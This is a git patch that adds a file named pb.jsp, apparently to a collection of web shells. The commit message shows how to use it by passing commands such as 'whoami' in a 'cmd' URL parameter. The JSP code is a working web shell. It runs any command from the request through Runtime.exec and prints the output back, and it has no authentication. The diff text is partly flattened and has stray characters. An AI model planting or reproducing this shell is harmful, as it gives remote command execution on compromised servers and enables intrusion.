From 072e033e328ac9aac0de4c9b58204854ff2241a6 Mon Sep 17 00:00:00 2001 From: tennc Date: Tue, 5 Apr 2016 14:27:42 +0800 Subject: [PATCH] Create pb.jsp exp: http://www.xxx.xxx/pb.jsp?cmd=command http://www.xxx.xxx/pb.jsp?cmd=whoami --- jsp/pb.jsp | 3 +++ 1 file changed, 3 insertions(+) create mode 100644 jsp/pb.jsp diff --git a/jsp/pb.jsp b/jsp/pb.jsp new file mode 100644 index 0000000..6a9532a --- /dev/null +++ b/jsp/pb.jsp @@ -0,0 +1,3 @@ +1 <%@ page contentType="text/html; charset=GBK" %> +\ +<%@ page import="java.io.*" %> <% String cmd = request.getParameter("cmd"); String output = ""; if(cmd != null) { String s = null; try { Process p = Runtime.getRuntime().exec(cmd); BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream())); while((s = sI.readLine()) != null) { output += s +"\\r\\n"; } } catch(IOException e) { e.printStackTrace(); } } %>
 <%=output %> 
3 4 5